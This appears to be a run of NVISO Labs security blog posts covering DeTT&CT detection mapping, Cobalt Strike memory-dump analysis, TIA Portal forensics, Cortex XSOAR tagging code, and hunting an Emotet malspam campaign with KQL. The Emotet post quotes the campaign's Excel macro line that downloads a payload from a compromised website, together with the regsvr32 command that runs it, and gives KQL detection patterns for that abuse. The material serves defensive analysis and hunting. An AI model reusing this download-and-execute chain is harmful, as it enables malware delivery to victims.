The score logbook will keep track of the changes within the score.

To visualize the visibility scores within an ATT&CK Navigator layer, run the following command and load the resulting file in ATT&CK Navigator.

python3 dettect.py v -ft ~/Downloads/techniques-administration-example-all.yaml -l

The relevant parameters and flags for this command are

  • v: visibility coverage mapping based on techniques and data sources
  • -ft: path the technique administration YAML file
  • -l: generate a data source layer for the ATT&CK Navigator
Figure 23: Visibility coverage layer
Figure 24: ATT&CK visibility coverage

Detection coverage

Now that we listed our data sources and have a good understanding of our visibility, we need to have a good understanding of where we have detection, the level of detection and the lack of detection we have.

Using the same YAML data source administration file we used for our visibility coverage we can administer our level of detection and record the following:

  • The type of system(s) the detection applies to (e.g. Windows endpoints, Windows servers, Linux servers, crown jewel x, etc.).
  • Where the detection resides (for example, it could be an event ID, the name of a detection rule/use case, SIEM, or a product name)
  • A possible comment.
  • The date when the detection was implemented or improved.
  • A detection score.

In addition to the pre-defined fields, you can add further information by using key-value pairs.

To allow detailed scoring of your detections per type of system, you can select multiple detections per technique in the YAML file. This can be achieved using the “applicable_to” property.

Figure 25: Technique administration – Applicable to

We recommend using the same applicable_to values between your technique and your data source administration file. A score logbook enables you to keep track of changes in the score by having multiple score objects.

Figure 26: Technique administration – Score logbook

To review the details, click on the “Score logbook” button:

Figure 27: Technique administration – Score logbook details
Figure 28: Technique detection score

Do not forget to save your YAML file is you edit it with DeTT&CT Editor.

To generate a layer file for the ATT&CK Navigator based on the technique administration file, you can run the following command:

python3 dettect.py d -ft ~/Downloads/techniques-administration-example-all.yaml -l

The relevant parameters and flags for this command are

  • d: detection coverage mapping based on techniques
  • -ft: path the technique administration YAML file
  • -l: generate a data source layer for the ATT&CK Navigator
Figure 29: Detection layer

As we gave a score to only one specific technique, then only this technique will appear in our layer.

Figure 30: ATT&CK Detection coverage

Gap analysis against threat actor group

Additionally, you could compare your detection layer with your threat analysis layer or with a layer generated for a specific red team exercise to spot any gaps in your detection.

When performing adversary emulation, the red team will define a scope of techniques that mimics a known threat to an organization. They usually represent this scope by generating an ATT&CK matrix layer.

Let’s say this is the generated layer from the adversary emulation:

Figure 31: ATT&CK Red team layer

You can compare a threat actor group layer with either your detection or visibility coverage overlay. Use the following command to generate a layer that highlights the differences:

python3 dettect.py g -g sample-data/groups.yaml -o sample-data/techniques-administration-example-all.yaml -t detection
  • g: threat actor group mapping
  • -g: specify the ATT&CK Groups to include. Another option is to provide a YAML file with a custom group
  • -o: specify what to overlay on the group(s). To overlay Visibility or Detection, provide the technique administration YAML file.
  • -t {group,visibility,detection}: specify the type of overlay. You can choose between group, visibility or detection (default = group)
Figure 32: Threat actor group comparison

If we compare our detection layer to the red team exercise, we will have the following resulting layer:

Figure 33: ATT&CK Threat actor group vs detection

Lastly, you can also generate a layer that will compare your visibility and detection coverage. This will give you a decent overview of the techniques where you have visibility or detection.

To generate this layer, type one of the following commands:

python dettect.py d -ft ~/Downloads/techniques-administration-endpoints.yaml -o

or

python dettect.py v -ft sample-data/techniques-administration-endpoints.yaml -o

Both commands will generate the same output as shown in the following picture.

Figure 34: ATT&CK Detection vs Visibility

Conclusion

In this blog post, we learned how to build, maintain and score visibility and detection coverage with MITRE ATT&CK and DeTT&CT.  Mapping your visibility and detection coverage to TTPs and visualizing it in the MITRE ATT&CK Navigator will help you better grasp your detection maturity. This also provides the possibility to compare your detection coverage against a threat actor behaviour and spot possible gaps.

Maintaining a clear understanding of your current detection capabilities are crucial for your overall security posture. With this knowledge, detection engineers can prioritize the development of new detection rules, and onboarding of new data sources, red teams can tailor their campaigns to test the defenders’ assumptions about their capabilities, and it helps decision makers to track progress and allocate resources to help improve the security posture.

Setting up a baseline for the DETT&CT framework requires some time and resources at first, but once it has been set up, it can provide you with insight on your current detection capabilities and where to focus on improvements.

References

“DeTT&CT: Mapping your Blue Team to MITRE ATT&CK™ — MB Secure”, https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack

“MITRE ATT&CK®”, https://attack.mitre.org/

“ATT&CK 101. This post was originally published May… | by Blake Strom | MITRE ATT&CK® | Medium”, https://medium.com/mitre-attack/att-ck-101-17074d3bc62

“rabobank-cdc/DeTTECT: Detect Tactics, Techniques & Combat Threats”, https://github.com/rabobank-cdc/DeTTECT/

“MITRE DeTTECT – Data Source Visibility and Mapping – YouTube”, https://www.youtube.com/watch?v=EXnutTLKS5o

“ATT&CK® Navigator“, https://mitre-attack.github.io/attack-navigator/




Cobalt Strike: Memory Dumps – Part 6

11 March 2022 at 05:59

This is an overview of different methods to create and analyze memory dumps of Cobalt Strike beacons.

This series of blog posts describes different methods to decrypt Cobalt Strike traffic. In part 1 of this series, we revealed private encryption keys found in rogue Cobalt Strike packages. In part 2, we decrypted Cobalt Strike traffic starting with a private RSA key. In part 3, we explain how to decrypt Cobalt Strike traffic if you don’t know the private RSA key but do have a process memory dump. In part 4, we deal with traffic obfuscated with malleable C2 data transforms. And in part 5, we deal with Cobalt Strike DNS traffic.

For some of the Cobalt Strike analysis methods discussed in previous blog posts, it is useful to have a memory dump: either a memory dump of the system RAM, or a process memory dump of the process hosting the Cobalt Strike beacon.

We provide an overview of different methods to make and/or use memory dumps.

Full system memory dump

Several methods exist to obtain a full system memory dump of a Windows machine. As most of these methods involve commercial software, we will not go into the details of obtaining a full memory dump.

When you have a full system memory dump that is uncompressed, the first thing to check, is for the presence of a Cobalt Strike beacon in memory. This can be done with tool 1768.py, a tool to extract and analyze the configuration of Cobalt Strike beacons. Make sure to use a 64-bit version of Python, as uncompressed full memory dumps are huge.

Issue the following command:

1768.py -r memorydump

Example:

Figure 1: Using 1768.py on a full system memory dump

In this example, we are lucky: not only does 1768.py detect the presence of a beacon configuration, but that configuration is also contained in a single memory page. That is why we get the full configuration. Often, the configuration will overlap memory pages, and then you get a partial result, sometimes even Python errors. But the most important piece of information we get from this command, is that there is a beacon running on the system of which we took a full memory dump.

Let’s assume that our command produced partial results. What we have to do then, to obtain the full configuration, is to use Volatility to produce a process memory dump of the process(es) hosting the beacon. Since we don’t know which process(es) hosts the beacon, we will create process memory dumps for all processes.

We do that with the following command:

vol.exe -f memorydump -o procdumps windows.memmap.Memmap -dump

Example:

Figure 2: using Volatility to extract process memory dumps – start of command
Figure 3: using Volatility to extract process memory dumps – end of command


procdumps is the folder where all process memory dumps will be written to.

This command takes some time to complete, depending on the size of the memory dump and the number of processes.

Once the command completed, we use tool 1768.py again, to analyze each process dump:

Figure 4: using 1768.py to analyze all extracted process memory dumps – start of command
Figure 4: using 1768.py to analyze all extracted process memory dumps – detection for process ID 2760

We see that file pid.2760.dmp contains a beacon configuration: this means that the process with process ID 2760 hosts a beacon. We can use this process memory dump if we would need to extract more information, like encryption keys for example (see blog post 3 of this series).


Process memory dumps
Different methods exist to obtain process memory dumps on a Windows machine. We will explain several methods that do not require commercial software.

Task Manager
A full process memory dump can be made with the built-in Windows’ Task Manager.
Such a process memory dump contains all the process memory of the selected process.

To use this method, you have to know which process is hosting a beacon. Then select this process in Task Manager, right-click, and select “Create dump file”:

Figure 6: Task Manager: selecting the process hosting the beacon
Figure 7: creating a full process memory dump


The process memory dump will be written to a temporary folder:

Figure 8: Task Manager’s dialog after the completion of the process memory dump
Figure 9: the temporary folder containing the dump file (.DMP)

Sysinternals’ Process Explorer
Process Explorer can make process memory dumps, just like Task Manager. Select the process hosting the beacon, right-click and select “Create Dump / Create Full Dump“.

Figure 10: using Process Explorer to create a full process memory dump

Do not select “Create Minidump”, as a process memory dump created with this option, does not contain process memory.

With Process Explorer, you can select the location to save the dump:

Figure 12: with Process Explorer, you can choose the location to save the dump file

Sysinternals’ ProcDump
ProcDump is a tool to create process memory dumps from the command-line. You provide it with a process name or process ID, and it creates a dump. Make sure to use option -ma to create a full process memory dump, otherwise the dump will not contain process memory.

Figure 12: using procdump to create a full process memory dump


With ProcDump, the dump is written to the current directory.

Using process memory dumps
Just like with full system memory dumps, tool 1768.py can be used to analyze process memory dumps and to extract the beacon configuration.
As explained in part 3 of this series, tool cs-extract-key.py can be used to extract the secret keys from process memory dumps.
And if the secret keys are obfuscated, tool cs-analyze-processdump.py can be used to try to defeat the obfuscation, as explained in part 4 of this series.

Conclusion
Memory dumps can be used to detect and analyze beacons.
We developed tools to extract the beacon configuration and the secret keys from memory dumps.

About the authors

Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center senior handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn.

You can follow NVISO Labs on Twitter to stay up to date on all our future research and publications.

Investigating an engineering workstation – Part 1

15 March 2022 at 09:00

In this series of blog posts we will deal with the investigation of an engineering workstation running Windows 10 with the Siemens TIA Portal Version 15.1 installed. In this first part we will cover some selected classic Windows-based evidence sources, and how they behave with regards to the execution of the TIA Portal and interaction with it. The second part will focus on specific evidence left behind by the TIA Portal itself and how to interpret it. Extracting information from a project and what needs to be considered to draw the right conclusions from this data will be the focus of the third post. Last but not least we will look at the network traffic generated by the TIA portal and what we can do in case the traffic is not being dissected nicely by Wireshark.

For the scope of this series of blog posts we look at the Siemens TIA (Totally Integrated Automation) Portal as the software you can use to interact with, and program PLCs. This is a simplified view, but it is sufficient to follow along with the blog posts. A PLC, or Programmable Logic Controller, can be viewed as a specially designed device to control industrial processes, like manufacturing, energy production and distribution, water supply and much more.  The Siemens Siematic S7-1200, we will mention later in this series, is just one example of the many representatives of this family.

If you approach your first engagement looking at a Windows system running the TIA Portal, you might have the same thought as I had: “Will some of the useful evidences, which I know and used in  other Windows-based investigations, be there waiting to be unearthed?” Since it is always better to know such things before an actual incident takes place, we will cover some of the more standard evidences and how they behave in regards of the TIA Portal. Please note, we will not elaborate on the back and forth of every Windows-based evidence we mention, as this is not meant to be a blog post explaining standard evidence.

Evidence of Execution is available as you would expect. If you know what to look for, it perhaps helps in forming answers faster and more precise.

The Prefetch artifact, if enabled on the system, would be written for “SIEMENS.AUTOMATION.PORTAL.EXE” and can be parsed like any other prefetch file. Additionally, the prefetch file for “SIEMENS.AUTOMATION.DIAGNOSTIC” also gets written or updated when the TIA Portal is started. If we have a look at the ShimCache (aka AppCompatCache) we can try to find the last time of execution by investigating the SYSTEM registry hive. In case of newer Windows systems, like in our example a Windows 10 system, you are out of luck in regards of the last time of execution. It is no longer recorded.

Investigating a Windows 10 system and having the System registry hive already open, the BAM key (ControlSet00x\Services\bam\State\UserSettings\$SID) will provide us with information on date and time for application execution. Knowing the executable name (“Siements.Automation.Portal.exe”) and using it in a simple search quickly reveals the information we are looking for.

Reviewing more user related evidence, by analyzing the NTUser.dat for the user accounts in scope of the investigation, leads us to the UserAssist key. Reviewing the subkeys starting with: “CEBFF5CD…” and “F4E57C4B…” will give us the expected information, like run count, last executed time and so on. Just make sure you are looking into the correct values for each subkey. In the subkey starting with “F4E57C4B…” it is shortcuts we are looking into. In our installation the .lnk files are named “TIA Portal V15.1.lnk”, which is the default value, as it was not renamed by us.

Figure 1: TIA Portal related content in UserAssist Subkey “F4E57C4B…”

For the second subkey (“CEBFF5D…”) we are looking at the executables, so the actual executable name is what we should search for.

Figure 2: TIA Portal related content in UserAssist Subkey “CEBFF5D…”

But what about finding projects that have been present or opened on the machine you are investigating?

First of all we should have an idea how a project looks like. Usually it is not a single file, instead it is a structure of multiple folders and subfolders. Furthermore it contains a file in the root directory of the project folder which you are using to open the project in the TIA Portal. The file extension of these files changes with the Version of the TIA Portal: “.apVERSION” is the current schema. This would mean, a file created with the TIA Portal Version 15.1 will have “ap15_1” as file extension, if created with TIA Portal Version 13 it will be “ap13” as file extension.  

The following screenshot shows the file extensions which can be opened with the TIA Portal Version 15.1 and provides further examples of the naming schema.

Figure 3: TIA Portal Version 15.1 supported file extensions

Below you can see an overview of the files and the directory structure of a test project, in our case created with Version 15.1 of the TIA Portal:

Figure 4: Example listing of a test project created with TIA Portal V15.1

Equipped with this information we can check if and how the “.ap15_1” extension show up in classic file use and knowledge artefacts.

Reviewing the recent files for a user, by investigating the RecentDocs key in the corresponding NTUSER.dat hive shows a subkey for the “.ap15_1” extension.

Figure 5: RecentDocs subkey for .ap15_1 file extension
Figure 6: Example content of RecentDocs subkey for .ap15_1 file extension

The second screenshot shows an excerpt of the “.ap15_1” key parsed by Registry Explorer. Please note, that if a project file is opened via the “Recently used” projects listing, shown on the starting view of the TIA Portal, the RecentDocs key is not updated.

Figure 7: TIA Portal view to open recently used projects

While we are dealing with user specific evidence, we can also check if Jump Lists are available as we would expect. We can use the tool JLECmd by Erik Zimmermann to parse all Jump Lists and review the results in Timeline Explorer. By applying a filter to only show files ending with “.ap” we get the overview shown below.

Figure 8: Jump Lists entries showing .ap15_1 files

Here you can clearly see that we can parse out entries related to “.ap15_1” files for “Quick Access” and also for an App Id not known to JLECmd. This App Id is related to the TIA Portal and we can now also identify the automatic destinations file to open or parse the specific file if we want or need. It will be “4c28c7c161e44256.automaticDestinations-ms”, in our case stored under “C:\Users\nviso\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations”.  If a project is created and saved in the TIA Portal it will not show up in the Jump List. Further if you choose to open a project from the “Recently used” projects list, like described above, the Jump List of the TIA Portal will not be changed.

Figure 9: TIA Portal Recently used projects vs. Jump List

In figure 9 we demonstrated the potential differences between the Jump List (1.) and the “Recently used” projects in the TIA Portal (2.). Obviously the two most recent projects listed by the TIA Portal are missing in the Jump List. The “testproject12.ap15_1” file relates to an already existing project opened via the TIA Portal functionality and the “Pro_dev_C64_blast” project was created via the TIA Portal. The content of the Jump List is shown via the Windows Start menu in this example. Reviewing the Jump List with JLECmd validates these results.

The OpenSaveMRU, also user account specific evidence, is another a place where we can look for the “.ap*” file extension and review activity. Opening the NTUSER.dat for the user account in focus and following the path down to the “OpenSavePidlMRU” key already shows the subkey for a file extension of interest. As always you need to be aware of the evidence you are looking at, the OpenSaveMRU is maintained by the Windows shell dialog box, projects will be showing up here based on if they are opened or saved via the dialog box or not. Double-clicking a “.ap15_1” file will not make it show up here, luckily for us we have the Jump List and the “RecentDocs” key mentioned above.  Also note, that opening a project via the “Recently used” projects lists of the TIA Portal, mentioned above in the section discussing “RecentDocs”, will not change the OpenSaveMRU.

Figure 10: OpenSaveMRU key containing subkeys for ap15_1 files

Needless to say that you can also search the $MFT for files with the extension of interest.

A few things need to be mentioned in regards of managing expectations:

  • The evidence produced by the Windows Operating System or the TIA Portal is not there for forensic or incident response investigations. It usually servers a different purpose than we are using it for. That being said, it should be understood that evidence might behave completely different after software updates or in older/newer versions of the software.
  • Further it is not guaranteed that the software will produce the same evidence in any imaginable edge case.
  • The blog posts are based on our observations and testing results.

Conclusion & Outlook

The standard evidences on a Windows System can already bring some good insights into activities around the TIA Portal. However, we must be aware that the TIA Portal offers its own functions for opening and creating projects, which do not update the jump list, for example. For these cases we can review the “Settings.xml” file. We will focus on the “Settings.xml” file and information we can get out of raw project files in the upcoming blog posts.

About the Author

Olaf Schwarz is a Senior Incident Response Consultant at NVISO. You can find Olaf on Twitter and LinkedIn.

You can follow NVISO Labs on Twitter to stay up to date on all out future research and publications.

Cortex XSOAR Tips & Tricks – Tagging War Room Entries

16 March 2022 at 09:00

Introduction

The war room in Cortex XSOAR incidents allows a SOC analyst to do additional investigations by using any command available as an automation or integration command. It also contains the output of all tasks used in playbooks (if not in Quiet mode). In this blogpost we will show you how to format output of automations to the war room using the CommandResults class in CommonServerPython, how to add tags to this output and what you can do with these tags.

To support creating tagged war room entries in automations, we have created our own nitro_return_tagged_command_results function which is available on the NVISO Github:

https://github.com/NVISOsecurity/blogposts/blob/master/CortexXSOAR/nitro_return_tagged_command_results.py

CommandResults

The CommonServerPython automation in Cortex XSOAR contains common Python functions and classes created by Palo Alto that are used in multiple built-in automations. They are appended to the code of each integration/automation before being executed.

One of these classes is CommandResults. Together with the return_results function, it can be used to return (formatted) output from an automation to the war room or context data:

results = [
    {
        'FileName': 'malware.exe',
        'FilePath': 'c:\\temp',
        'DetectionStatus': 'Detected'
    },
    {
        'FileName': 'evil.exe',
        'FilePath': 'c:\\temp',
        'DetectionStatus': 'Prevented'
    }
]
title = "Malware Mitigation Status"

command_result = CommandResults(readable_output=tableToMarkdown(title, results, None, removeNull=True),
        outputs_prefix=title,
        outputs=results
    )

return_results(command_result)

By using the outputs_prefix and outputs attributes of the CommandResult class, the following data is created in the Context Data:

By using the readable_output attributes of the CommandResult class, the following entry to the war room is created:

By using the actions menu of the war room entry, you can manually add tags:

nitro_return_tagged_command_results()

The functionality to add tags to war room entries is not available in the return_results function in CommonServerPython, so we created a nitro_return_tagged_command_result function which supports adding tags:

def nitro_return_tagged_command_results(command_result: CommandResults, tags: list):
    """
    Return tagged CommandResults

    :type command_result: ``CommandResults``
    :param command_result: CommandResults object to output with tags
    :type tags: ``list``
    :param tags: List of tags to add to war room entry

    """
    result = command_result.to_context()
    result['Tags'] = tags

    demisto.results(result)

This function allow you to provide tags which will be automatically added to the war room entry:

results = [
    {
        'FileName': 'malware.exe',
        'FilePath': 'c:\\temp',
        'DetectionStatus': 'Detected'
    },
    {
        'FileName': 'evil.exe',
        'FilePath': 'c:\\temp',
        'DetectionStatus': 'Prevented'
    }
]
tags_to_add = ['evidence', 'malware']
title = "Malware Mitigation Status"

command_result = CommandResults(
        readable_output=tableToMarkdown(title, results, None, removeNull=True),
    )

nitro_return_tagged_command_results(command_result=command_result, tags=tags_to_add)

We have added this custom function to the CommonServerUserPython automation. This automation is created for user-defined code that is merged into each script and integration during execution. It will allow you to use nitro_return_tagged_command_results in all your custom automations.

Using Entry Tags

Now that you have created tagged war room entries from an automation, what can you do with this?

We use these tagged war room entries to automatically add output from automations as evidence to the incident Evidence Board. The Evidence board can be used by the analyst to store key artifacts for current and future analysis.

First we use the getEntries command to search the war room for the entries with the “evidence” tag.

results = nitro_execute_command(command='getEntries', args={'filter': {'tags': 'evidence'}})

Then we get the entry IDs from the results of getEntries:

entry_ids = [result.get('ID') for result in results]

Finally we loop through all entry IDs of the tagged war room entries and use the AddEvidence command to add them to the evidence board:

for entry_id in entry_ids:
    nitro_execute_command(command='AddEvidence', args={'entryIDs': entry_id, 'desc': 'Example Evidence'})

The tagged war room entry will now be added to the Evidence Board of the incident:

References

https://docs.paloaltonetworks.com/cortex/cortex-xsoar/6-1/cortex-xsoar-admin/incidents/incident-management/war-room-overview.html

https://xsoar.pan.dev/docs/playbooks/playbook-settings

https://xsoar.pan.dev/docs/reference/api/common-server-python

https://xsoar.pan.dev/docs/integrations/code-conventions#commandresults

https://xsoar.pan.dev/docs/integrations/code-conventions#return_results

https://xsoar.pan.dev/docs/reference/scripts/common-server-user-python

About the author

Wouter is an expert in the SOAR engineering team in the NVISO SOC. As the lead engineer and development process lead he is responsible for the design, development and deployment of automated analysis workflows created by the SOAR Engineering team to enable the NVISO SOC analyst to faster detect attackers in customers environments. With his experience in cloud and devops, he has enabled the SOAR engineering team to automate the development lifecycle and increase operational stability of the SOAR platform.

You can reach Wouter via his LinkedIn page.


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Cobalt Strike: Overview – Part 7

22 March 2022 at 09:04

This is an overview of a series of 6 blog posts we dedicated to the analysis and decryption of Cobalt Strike traffic. We include videos for different analysis methods.

In part 1, we explain that Cobalt Strike traffic is encrypted using RSA and AES cryptography, and that we found private RSA keys that can help with decryption of Cobalt Strike traffic

In part 2, we actually decrypt traffic using private keys. Notice that one of the free, open source tools that we created to decrypt Cobalt Strike traffic, cs-parse-http-traffic.py, was a beta release. It has now been replaced by tool cs-parse-traffic.py. This tool is capable to decrypt HTTP(S) and DNS traffic. For HTTP(S), it’s a drop-in replacement for cs-parse-http-traffic.py.

In part 3, we use process memory dumps to extract the decryption keys. This is for use cases where we don’t have the private keys.

In part 4, we deal with some specific obfuscation: data transforms of encrypted traffic, and sleep mode in beacons’ process memory.

In part 5, we handle Cobalt Strike DNS traffic.

And finally, in part 6, we provide some tips to make memory dumps of Cobalt Strike beacons.

The tools used in these blog post are free and open source, and can be found here.

Here are a couple of videos that illustrate the methods discussed in this series:

YouTube playlist “Cobalt Strike: Decrypting Traffic

Blog posts in this series:

About the authors

Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center senior handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn.

You can follow NVISO Labs on Twitter to stay up to date on all our future research and publications.

Hunting Emotet campaigns with Kusto

23 March 2022 at 15:07
By: bparys

Introduction

Emotet doesn’t need an introduction anymore – it is one of the more prolific cybercriminal gangs and has been around for many years. In January 2021, a disruption effort took place via Europol and other law enforcement authorities to take Emotet down for good. [1] Indeed, there was a significant decrease in Emotet malicious spam (malspam) and phishing campaigns for the next few months after the takedown event.

In November 2021 however, Emotet had returned [2] and is once again targeting organisations on a global scale across multiple sectors.

Starting March 10th 2022, we detected a massive malspam campaign that delivers Emotet (and further payloads) via encrypted (password-protected) ZIP files. The campaign continues as of writing of this blog post on March 23rd, albeit it appears the campaign is lowering in frequency. The campaign appears to be initiated by Emotet’s Epoch4 and (mainly) Epoch5 botnet nodes.

In this blog post, we will first have a look at the particular Emotet campaign, and expand on detection and hunting rules using the Kusto Query Language (KQL).

Emotet Campaign

The malspam campaign itself has the following pattern:

  1. An organisation’s email server is abused / compromised to send the initial email
  2. The email has a spoofed display name, purporting to be legitimate
  3. The subject of the email is a reply “RE:” or forward “FW:” and contains the recipient’s email address
  4. The body of the email contains only a few single sentences and a password to open the attachment
  5. The attachment is an encrypted ZIP file, likely an attempt to evade detections, which in turn contains a macro-enabled Excel document (.XLSM)
  6. The Excel will in turn download the Emotet payload
  7. Finally, Emotet may download one of the next stages (e.g. CobaltStrike, SystemBC, or other malware)

Two examples of the email received can be observed in Figure 1. Note the target email address in the subject.

Figure 1 – Two example malspam emails

We have observed emails sent in multiple languages, including, but not limited to: Spanish, Portuguese, German, French, English and Dutch.

The malspam emails are typically sent from compromised email servers across multiple organisations. Some of the top sending domains (based on country code) observed is shown in Figure 2.

Figure 2 – Top sender (compromised) email domains

The attachment naming scheme follow a somewhat irregular pattern: split between text and seemingly random numbers, again potentially to evade detection. A few examples of attachment names that are prepended is shown in Figure 3.

Figure 3 – Example attachment names

After opening the attachment with password provided (typically a 3-4 character password), an Excel file with the same name as the ZIP is observed. When opening the Excel file, we are presented with the usual banner to Enable Macros to make use of all features, as can be seen in Figure 4.

Figure 4 – Low effort Excel dropper

Enabling macros, via an XLM4.0 macro and hidden sheet or cell happens as follows:

=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://<compromised_website>/0Rq5zobAZB/", "..\wn.ocx")

And will then result in regsvr32 downloading and executing an OCX file (DLL):

C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx

This OCX file is in term the Emotet payload. Emotet can then, as mentioned, either leverage one of its modules (plugins) for data exfiltration, or download the next malware stage as part of its attack campaign.

We will not analyse the Emotet malware itself, but rather focus on how to hunt several parts of the stage using the Kusto Query Language (KQL) in environments that make use of Office 365.

Hunting with KQL

Granted you are ingesting the right logs (license and setup) and have the necessary permissions (Security Reader will suffice), visit the Microsoft 365 Defender Advanced Hunting’s page and query builder: https://security.microsoft.com/v2/advanced-hunting

Query I – Hunting the initial campaign

First, we want to track the scope and size of the initial Emotet campaign. We can build the following query:

EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip"
| join kind=inner (EmailEvents | where Subject contains RecipientEmailAddress and DeliveryAction == "Delivered" and EmailDirection == "Inbound") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress

The query above focuses on Step 3 of this campaign: The subject of the email is a reply “RE:” or forward “FW:” and contains the recipient’s email address. In this query, we filter on:

  1. Any email that has a ZIP attachment;
  2. Where the subject contains the recipient’s email address;
  3. Where the email direction is inbound and the mail is delivered (so not junked or blocked).

This yields 22% of emails that have been delivered – the others have either been blocked or junked. However, we know that this campaign is larger and might have been more successful.

Meaning, we need to improve our query. We can now create an improved query like below, where the sender display name has an alias (or is spoofed):

EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip" and SenderDisplayName startswith_cs "<"
| join kind=inner (EmailEvents | where EmailDirection == "Inbound" and DeliveryAction == "Delivered") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress

This query now results in 25% of emails that have been delivered, for the same timespan (campaign scope & size) as set before. The query can now further be finetuned to show all emails except the blocked ones. Even when malspam or phishing emails are Junked, the user may manually go to the Junk Folder, open the email / attachment and from there get compromised.

The final query:

EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip" and SenderDisplayName startswith_cs "<"
| join kind=inner (EmailEvents | where EmailDirection == "Inbound" and DeliveryAction != "Blocked") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress

This query now displays 73% of the whole Emotet malspam campaign. You can now export the result, create statistics and blocking rules, notify users and improve settings or policies where required. An additional user awareness campaign can help to stress that Junked emails should not be opened when it can be avoided.

As an extra, if you merely want to create statistics on Delivered versus Junked versus Blocked, the following query will do just that:

EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip" and SenderDisplayName startswith_cs "<"
| join kind=inner (EmailEvents | where EmailDirection == "Inbound") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress
| summarize Count = count() by DeliveryAction

Query II – Filtering on malspam attachment name

This query is of lower fidelity than others in this blog, as it can produce a large number of False Positives (FPs), depending on your organisations’ geographical location and amount of emails received. Nevertheless, it can be useful to run the query and build further on it – creating a baseline. The query below displays an extract of subjects from Table 1 and according hunt:

let attachmentname = dynamic(["adjunto","adjuntos","anhang","archiv","archivo","attachment","avis","aviso","bericht","comentarios","commentaires","comments","correo","data","datei","datos","detail","details","detalle","doc","document","documentación","documentation","documentos","documents","dokument","détails","escanear","fichier","file","filename","hinweis","info","informe","list","lista","liste","mail","mensaje","message","nachricht","notice","pack","paquete","pièce","rapport","report","scan","sin titulo","untitled"]);
EmailAttachmentInfo
| where FileName has_any(attachmentname) and strlen(FileName) < 20 and FileType == "zip"
| join EmailEvents on NetworkMessageId
| where DeliveryAction == "Delivered" and EmailDirection == "Inbound"

Running this rule delivers a considerable amount of results, even when applying the string length (strlen) to be less than 20 characters as we have observed in this campaign. Finetune the query, we can add one more line to filter on display name as we have also created in Query I:

let attachmentname = dynamic(["adjunto","adjuntos","anhang","archiv","archivo","attachment","avis","aviso","bericht","comentarios","commentaires","comments","correo","data","datei","datos","detail","details","detalle","doc","document","documentación","documentation","documentos","documents","dokument","détails","escanear","fichier","file","filename","hinweis","info","informe","list","lista","liste","mail","mensaje","message","nachricht","notice","pack","paquete","pièce","rapport","report","scan","sin titulo","untitled"]);
EmailAttachmentInfo
| where FileName has_any(attachmentname) and strlen(FileName) < 20 and FileType == "zip" and SenderDisplayName startswith_cs "<"
| join EmailEvents on NetworkMessageId
| where DeliveryAction == "Delivered" and EmailDirection == "Inbound"

This now results in 20% True Positives (TP) as opposed to the original query, where we would have needed to filter extensively. Note this query can be further adopted to your needs, for example, you could remove the SenderDisplayName parameter again, and set other parameters (e.g. string length, email language, …).

Query III – Searching for regsvr32 doing bad things

Most detection & hunting teams, Security Operation Center (SOC) analysts, incident responders and so on will be acquainted with the term “lolbins”, also known as living off the land binaries. In short, any binary that is part of the native Operating System, in this case Windows, and which can be abused for other purposes than what it is intended for.

In this case, regsvr32 is leveraged – it is typically used by attackers to – you guessed it – register and execute DLLs! The query below will leverage a simple regular expression (regex) to hunt for execution of regsvr32 attempting to run an OCX file, as was seen in this Emotet campaign.

DeviceProcessEvents
| where FileName =~ "regsvr32.exe" and ProcessCommandLine matches regex @"\.\.\\.+\.ocx$"

Conclusion

Emotet is still a significant threat to be reckoned with since its return near the end of last year.

This blog post focused on dissecting Emotet’s latest malspam campaign as well as creating hunting queries using KQL to hunt for and respond to any potential security incident. The queries can also be converted to other formats (e.g. Splunk Query Language using https://uncoder.io/ for example) to allow for broader hunting efforts or where using KQL might not be an option.

Thanks to my colleague Maxime Thiebaut (@0xthiebaut) for assistance in building the queries.

About the author

Bart Parys Bart is a manager at NVISO where he mainly focuses on Threat Intelligence, Incident Response and Malware Analysis. As an experienced consumer, curator and creator of Threat Intelligence, Bart loves to and has written many TI reports on multiple levels such as strategic and operational across a wide variety of sectors and geographies. Twitter: @bartblaze

Vulnerability Management in a nutshell

28 March 2022 at 15:00

Introduction

Vulnerability Management plays an important role in an organization’s line of defense. However, setting up a Vulnerability Management process can be very time consuming. This blogpost will briefly cover the core principles of Vulnerability Management and how it can help protect your organization against threats and adversaries looking to abuse weaknesses.

What is Vulnerability Management

To better understand Vulnerability Management, it is important to know what it stands for. On the internet, Vulnerability Management has several definitions. Sometimes these can be confusing and misinterpreted because different wording is used across several platforms. Several products exist that can assist an organization in creating a Vulnerability Management Process. Some of the current market leaders include but are not limited to: CrowdStrike, Tenable.IO and Rapid7.

According to Tenable, Vulnerability Management is an ongoing process that includes proactive asset discovery, continuous monitoring, mitigation, remediation and defense tactics to protect your organization’s modern IT attack surface from Cyber Exposure.[1]

According to Rapid7, Vulnerability Management is the process of identifying, evaluating, treating, and reporting on security vulnerabilities in systems and the software that runs on them. This, implemented alongside with other security tactics, is vital for organizations to prioritize possible threats and minimizing their attack surface.[2]

According to CrowdStrike, Vulnerability Management means the ongoing, regular process of identifying, assessing, reporting on, managing and remediating security vulnerabilities across endpoints, workloads, and systems. Typically, a security team will leverage a Vulnerability Management tool to detect vulnerabilities and utilize different processes to patch or remediate them.[3]

Why Vulnerability Management

A well-defined Vulnerability Management process can be leveraged to decrease the cyber exposure of an organization. This ranges from identifying open RDP ports on internet-facing Shadow IT to outdated third-party software installed on the domain controller. In case vulnerabilities are abused by attackers, they could obtain access to the internal network, distribute malware such as Ransomware, obtain sensitive information and the list goes on. Decreasing your exposure and increasing patch management can reduce the likelihood of an attack happening on the organization’s infrastructure.

Vulnerability Management core principles

